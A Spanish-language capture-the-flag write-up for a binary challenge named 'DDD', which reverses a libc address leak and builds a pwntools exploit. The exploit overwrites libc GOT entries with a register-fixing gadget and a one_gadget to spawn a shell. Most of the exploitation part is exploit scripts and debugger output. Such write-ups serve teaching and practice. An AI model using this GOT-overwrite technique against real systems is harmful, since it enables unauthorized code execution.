xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Q4

DDD



Reversing


Si ejecutamos el binario nos muestra una dirección en x64 que por ahora no sabemos que es y nos muestra un prompt probablemente para enviar una posible entrada

❯ ./ddd

Deny: 0x7e64f501a780  

>>

Iniciamos con la función main, esta llama a printf para mostrar como puntero usando el formato %p la dirección de stdout cargada en memoria desde libc

Esto lo podemos comprobar desde gdb, y ya que la dirección mostrada pertenece a libc podemos calcular el offset desde la dirección base, en este caso son 0x21a780

❯ gdb -q ddd
Reading symbols from ddd...
(No debugging symbols found in ddd)
pwndbg> r
Starting program: /home/user/ddd

Deny: 0x7ffff7e1a780

>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7d14992 in __GI___libc_read (fd=0, buf=0x7ffff7e19b23 <_IO_2_1_stdin_+131>, nbytes=1)  
pwndbg> x/i 0x7ffff7e1a780
   0x7ffff7e1a780 <_IO_2_1_stdout_>:    xchg   DWORD PTR [rax],ebp
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x555555559000     0x55555555b000 rw-p     2000   5000 /home/user/ddd
►   0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /home/user/libc.so.6
►   0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000  28000 /home/user/libc.so.6
►   0x7ffff7dbd000     0x7ffff7e15000 r--p    58000 1bd000 /home/user/libc.so.6
►   0x7ffff7e15000     0x7ffff7e19000 r--p     4000 214000 /home/user/libc.so.6
►   0x7ffff7e19000     0x7ffff7e1b000 rw-p     2000 218000 /home/user/libc.so.6  
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000      0 [vvar]
pwndbg> p/x 0x7ffff7e1a780 - 0x7ffff7c00000
$1 = 0x21a780
pwndbg>

Automatizamos esto script de python recibiendo la dirección y restando el offset

#!/usr/bin/python3
from pwn import gdb, log

shell = gdb.debug("./ddd", "continue")

shell.recvuntil(b": ")
libc_base = int(shell.recvline().strip(), 16) - 0x21a780  

log.info(f"Libc base: {hex(libc_base)}")
shell.interactive()

Al ejecutar el exploit nos muestra lo que deberia ser la dirección base de libc que si comparamos con la dirección que muestra gdb es exactamente la misma

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 71921
[*] running in new terminal: ['/usr/bin/gdb', '-q', './ddd']  
[*] Libc base: 0x7d0febe00000
[*] Switching to interactive mode

>> $

^C
Program received signal SIGINT, Interrupt.
0x00007d0febf14992 in __GI___libc_read (fd=0, buf=0x7d0fec019b23 <_IO_2_1_stdin_+131>, nbytes=1)  
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x5d71f37d2000     0x5d71f37d4000 rw-p     2000   5000 /home/user/ddd
►   0x7d0febe00000     0x7d0febe28000 r--p    28000      0 /home/user/libc.so.6
►   0x7d0febe28000     0x7d0febfbd000 r-xp   195000  28000 /home/user/libc.so.6
►   0x7d0febfbd000     0x7d0fec015000 r--p    58000 1bd000 /home/user/libc.so.6
►   0x7d0fec015000     0x7d0fec019000 r--p     4000 214000 /home/user/libc.so.6
►   0x7d0fec019000     0x7d0fec01b000 rw-p     2000 218000 /home/user/libc.so.6
    0x7d0fec1bd000     0x7d0fec1c1000 r--p     4000      0 [vvar]
pwndbg>

Seguimos con la función main, esta llama a la función getint que retorna un puntero y llama a fread para recibir 8 bytes que escribirá en la dirección antes obtenida

Luego se repite el proceso otra vez, recibe otro puntero y nuevamente escribe 8 bytes en esa dirección lo que significa que podemos escribir 2 qwords en el lugar que queramos, al finalizar llama a la función perror y sale con una llamada a exit

La función getint con la que se recibe la dirección utiliza fgets para recibir un buffer y se lo pasa a strtoul para convertirlo a un entero el cual será el valor de retorno


Explotación


Tenemos 2 writes de 8 bytes, podriamos pensar en sobrescribir la entrada got en el binario de alguna función que se llame después como lo es perror pero cuenta con FULL RELRO lo que nos impide hacerlo, sin embargo el libc.so.6 solo cuenta con Partial RELRO por lo que podemos sobrescribir en la tabla got del propio libc

❯ checksec ddd
[*] '/home/user/ddd'
    Arch:       amd64-64-little  
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
  
❯ checksec libc.so.6
[*] '/home/user/libc.so.6'
    Arch:       amd64-64-little  
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Al llamar a perror en libc se llaman un par de funciones más hasta llegar a la función __strlen_evex el cual deberia tener una entrada got donde podriamos escribir

pwndbg> b __strlen_evex
Punto de interrupción 1 at 0x77ec2adb2220: file ../sysdeps/x86_64/multiarch/strlen-evex.S, line 55.
pwndbg> c
Continuando.
pwndbg> k
#0  __strlen_evex () at ../sysdeps/x86_64/multiarch/strlen-evex.S:55
#1  0x000077ec2ac3b6f4 in __dcigettext (domainname=0x77ec2add850a <_libc_intl_domainname> "libc", msgid1=0x77ec2add89aa "Bad address", msgid2=msgid2@entry=0x0, plural=plural@entry=0, n=n@entry=0, category=category@entry=5) at ./intl/dcigettext.c:650  
#2  0x000077ec2ac3a903 in __GI___dcgettext (domainname=<optimized out>, msgid=<optimized out>, category=category@entry=5) at ./intl/dcgettext.c:47
#3  0x000077ec2aca86d2 in __GI___strerror_r (errnum=<optimized out>, buf=buf@entry=0x7fff960a6f20 "0p\n\226\377\177", buflen=buflen@entry=1024) at ./string/_strerror.c:34
#4  0x000077ec2ac60e95 in perror_internal (fp=fp@entry=0x58251afa32a0, s=s@entry=0x5824ec09d028 "!", errnum=errnum@entry=14) at ./stdio-common/perror.c:37
#5  0x000077ec2ac60f82 in __GI_perror (s=0x5824ec09d028 "!") at ./stdio-common/perror.c:74
#6  0x00005824ec09c3f7 in main ()
#7  0x000077ec2ac29d90 in __libc_start_call_main (main=main@entry=0x5824ec09c326 <main>, argc=argc@entry=1, argv=argv@entry=0x7fff960a74b8) at ../sysdeps/nptl/libc_start_call_main.h:58
#8  0x000077ec2ac29e40 in __libc_start_main_impl (main=0x5824ec09c326 <main>, argc=1, argv=0x7fff960a74b8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff960a74a8) at ../csu/libc-start.c:392
#9  0x00005824ec09c185 in _start ()
pwndbg>

Si buscamos la dirección de __strlen_evex en memoria vemos que está almacenada en otra dirección en la tabla got, si calculamos el offset a partir de libc obtenemos 0x219098, sabemos que el contenido de esa dirección se ejecutará en perror

pwndbg> x/i __strlen_evex
   0x74f3fadb2220 <__strlen_evex>:	endbr64
pwndbg> search -t qword 0x74f3fadb2220
Searching for value: b' "\xdb\xfa\xf3t\x00\x00'
libc.so.6       0x74f3fae19098  0x74f3fadb2220 (__strlen_evex)  
pwndbg> x/gx 0x74f3fae19098
0x74f3fae19098 <*ABS*@got.plt>:	0x000074f3fadb2220
pwndbg>

pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x57b06641e000     0x57b066420000 rw-p     2000   5000 /home/user/ddd
►   0x74f3fac00000     0x74f3fac28000 r--p    28000      0 /home/user/libc.so.6
►   0x74f3fac28000     0x74f3fadbd000 r-xp   195000  28000 /home/user/libc.so.6
►   0x74f3fadbd000     0x74f3fae15000 r--p    58000 1bd000 /home/user/libc.so.6
►   0x74f3fae15000     0x74f3fae19000 r--p     4000 214000 /home/user/libc.so.6
►   0x74f3fae19000     0x74f3fae1b000 rw-p     2000 218000 /home/user/libc.so.6  
    0x74f3fafbd000     0x74f3fafc1000 r--p     4000      0 [vvar]
pwndbg> p/x 0x74f3fae19098 - 0x74f3fac00000
$1 = 0x219098
pwndbg>

Escribiremos en la entrada got de __strlen_evex un qword de A's, al ejecutarlo podemos ver que corrompe al intentar saltar a la dirección que sobrescribimos

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./ddd", "continue")

shell.recvuntil(b": ")
libc_base = int(shell.recvline().strip(), 16) - 0x21a780  

for i in range(2):
    shell.sendlineafter(b">> ", str(libc_base + 0x219098).encode()) # __strlen_evex@got  
    shell.sendafter(b": ", b"A" * 8)

shell.interactive()

Program received signal SIGSEGV, Segmentation fault.
0x000071d315828494 in *ABS*+0xa8720@plt () from ./libc.so.6
pwndbg> x/i $rip
=> 0x71d315828494 <*ABS*+0xa8720@plt+4>:    bnd jmp QWORD PTR [rip+0x1f0bfd]        # 0x71d315a19098 <*ABS*@got.plt>  
pwndbg> x/gx 0x71d315a19098
0x71d315a19098 <*ABS*@got.plt>:	0x4141414141414141
pwndbg>

Ya que controlamos el flujo del programa en lugar de escribir A's podemos escribir un one_gadget que al ejecutarse nos devuelva una shell, usaremos el que sea mas simple, en este caso el tercero utiliza como argumentos 2 registros: rsi y rdx

❯ one_gadget libc.so.6
0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp  

0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebcf8 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

Entonces en la entrada got que sabemos que se ejecuta escribimos el one_gadget, esto para ver si funciona o no y si pasa el segundo caso saber el porque no lo hace

#!/usr/bin/python3
from pwn import gdb, p64

shell = gdb.debug("./ddd", "continue")

shell.recvuntil(b": ")
libc_base = int(shell.recvline().strip(), 16) - 0x21a780

for i in range(2):
    shell.sendlineafter(b">> ", str(libc_base + 0x219098).encode()) # __strlen_evex@got
    shell.sendafter(b": ", p64(libc_base + 0xebcf8))                # execve("/bin/sh", rsi, rdx);  

shell.interactive()

Cuando llegamos a la ejecución del one_gadget hay una llamada a execve, el primer argumento es la cadena /bin/sh, el segundo afortunadamente es NULL pero el tercero nos podria dar problemas, necesitamos mover NULL al registro rdx

pwndbg> b *execvpe+1155
Punto de interrupción 1 at 0x7b6dec8ebd03: file ./posix/execvpe.c, line 67.
pwndbg> c
Continuando.

Breakpoint 1, maybe_script_execute (envp=<optimized out>, argv=0x7b6dec9da1d7 <_nl_C_name>, file=0x0)  
pwndbg> x/i $rip
=> 0x7b6dec8ebd03 <__execvpe+1155>:	call   0x7b6dec8eb0f0 <execve>
pwndbg> x/s $rdi
0x7b6dec9d8698:	"/bin/sh"
pwndbg> p/x $rsi
$1 = 0x0
pwndbg> p/x $rdx
$2 = 0x33
pwndbg>

Podemos usar otros registros para hacer un mov y establecer rdx a NULL, sabemos que rsi está en 0 pero también r12 lo está, asi que podriamos aprovecharlo

pwndbg> p/x $r12  
$3 = 0x0
pwndbg>

Para explotarlo podemos usar un gadget en el offset 0x88630 el cual mueve a rdx lo que se encuentra en r12, luego de ello hace una llamada que termina en la entrada got de la función __mempcpy_evex_unaligned_erms encontrada en el offset 0x219040

pwndbg> x/2i 0x74e381000000 + 0x88630
   0x74e381088630 <_IO_obstack_xsputn+160>:	   mov    rdx,r12
   0x74e381088633 <_IO_obstack_xsputn+163>:	   call   0x74e3810283e0 <*ABS*+0xa9850@plt>
pwndbg> x/2i 0x74e3810283e0
   0x74e3810283e0 <*ABS*+0xa9850@plt>:      endbr64
   0x74e3810283e4 <*ABS*+0xa9850@plt+4>:    bnd jmp QWORD PTR [rip+0x1f0c55]        # 0x74e381219040 <*ABS*@got.plt>  
pwndbg> x/gx 0x74e381219040
0x74e381219040 <*ABS*@got.plt>:	0x000074e3811aef00
pwndbg> x/i 0x000074e3811aef00
   0x74e3811aef00 <__mempcpy_evex_unaligned_erms>:	endbr64
pwndbg> p/x 0x74e381219040 - 0x74e381000000
$1 = 0x219040
pwndbg>

En el exploit el primer write ejecutará un mov rdx, r12 y hace una llamada a la entrada got de memcpy, el segundo write lo haremos a la entrada got de memcpy y será el one_gadget que se ejecutará en la llamada y deberia devolver una shell

#!/usr/bin/python3
from pwn import process, p64

shell = process("./ddd")

shell.recvuntil(b": ")
libc_base = int(shell.recvline().strip(), 16) - 0x21a780

shell.sendlineafter(b">> ", str(libc_base + 0x219098).encode()) # __strlen_evex@got
shell.sendafter(b": ", p64(libc_base + 0x88630))                # mov rdx, r12; call __mempcpy_evex_unaligned_erms@got  

shell.sendlineafter(b">> ", str(libc_base + 0x219040).encode()) # __mempcpy_evex_unaligned_erms@got
shell.sendafter(b": ", p64(libc_base + 0xebcf8))                # execve("/bin/sh", rsi, rdx);

shell.interactive()

Al ejecutar el exploit escribe en las 2 entradas got y el one_gadget devuelve la shell

❯ python3 exploit.py
[+] Starting local process './ddd': pid 75905
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)  
$